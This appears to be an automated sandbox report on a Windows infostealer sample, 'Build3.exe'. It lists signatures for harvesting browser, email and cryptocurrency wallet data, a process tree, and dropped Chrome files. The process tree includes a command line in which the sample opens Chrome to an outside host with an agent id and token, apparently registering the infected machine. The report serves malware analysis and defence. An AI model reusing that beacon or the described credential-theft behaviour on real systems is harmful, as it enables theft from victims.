Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    25/04/2026, 20:09

General

  • Target
    Build3.exe
  • Size 337KB
  • Sample260425-yxcwpahs71
  • SHA256 94189e4d1e03f3afac858be576cc0c1b0ab000dbccb8dcf988fb58059b5a12ff
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Build3.exe
    "C:\Users\Admin\AppData\Local\Temp\Build3.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3232
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" carytui.vu/api/set_agent?id=44608687BD24956701AEC7B30ADF174C&token=7c6d9e1ac2be7bdf1b73b6d57288153212&description=0d5b0d6e95037f7d0d4d809554f3b6d0&agent=Chrome
      2⤵
      • Drops file in Windows directory
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2136
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffef26dc728,0x7ffef26dc734,0x7ffef26dc740
        3⤵
          PID:2772
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1640,i,17548054458977363051,8636975415599332071,262144 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1956 /prefetch:2
          3⤵
            PID:3124
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1472,i,894827901540092609,13866075075696683703,524288 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2292 /prefetch:11
            3⤵
            • System Time Discovery
            PID:4112
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2412,i,1464259585046123643,2162206205053374243,524288 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2364 /prefetch:13
            3⤵
              PID:1744
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2996,i,13818157618126206614,8938171503606343209,2097152 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3100 /prefetch:1
              3⤵
                PID:4004
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2988,i,1313451592810500831,17836755475529476844,2097152 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3008 /prefetch:1
                3⤵
                  PID:424
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3968,i,17275951164348883226,10198586997490793953,2097152 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3976 /prefetch:9
                  3⤵
                    PID:3236
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4688,i,8179639922631280165,9145307926939106761,524288 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4696 /prefetch:12
                    3⤵
                      PID:1132
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5436,i,3066693129455908069,14003455176104044048,524288 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5448 /prefetch:14
                      3⤵
                        PID:5040
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:3484
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                      1⤵
                        PID:1824

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

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                            Downloads

                            BookmarkMergedSurfaceOrdering

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                            • Size 6B
                            • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                            • MD5 SHA1 SHA512

                            BrowsingTopicsState

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                            • Size 414B
                            • SHA256 496c76b9d40a7b539b308101c0e756c12dac1234bf205ccc0c09533995d5f9b8
                            • MD5 SHA1 SHA512 TLSH

                            SCT Auditing Pending Reports

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                            • Size 2B
                            • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                            • MD5 SHA1 SHA512

                            Web Data

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                            • Size 138KB
                            • SHA256 19a23cf566633a2e29ddff284878129ae065ef93dae84b04a89d2003fd6a7f53
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            Last Version

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                            • Size 13B
                            • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                            • MD5 SHA1 SHA512

                            Local State

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                            • Size 90KB
                            • SHA256 d30ce941d6be32c0457195e93e9b34fc994db681cf5643b8cc0c4fc95ddab52f
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/3232-47-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-53-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-46-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-45-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-44-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-43-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-42-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-41-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-40-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-39-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-38-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-37-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-36-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-48-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-52-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-49-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-51-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-50-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-70-0x0000000001190000-0x000000000124B000-memory.dmp

                            memory/3232-71-0x0000000003590000-0x0000000003591000-memory.dmp

                            memory/3232-73-0x0000000001190000-0x000000000124B000-memory.dmp

                            memory/3232-76-0x0000000001190000-0x000000000124B000-memory.dmp

                            memory/3232-77-0x0000000001190000-0x000000000124B000-memory.dmp

                            memory/3232-80-0x0000000001190000-0x000000000124B000-memory.dmp

                            memory/3232-82-0x0000000001190000-0x000000000124B000-memory.dmp

                            memory/3232-83-0x0000000001190000-0x000000000124B000-memory.dmp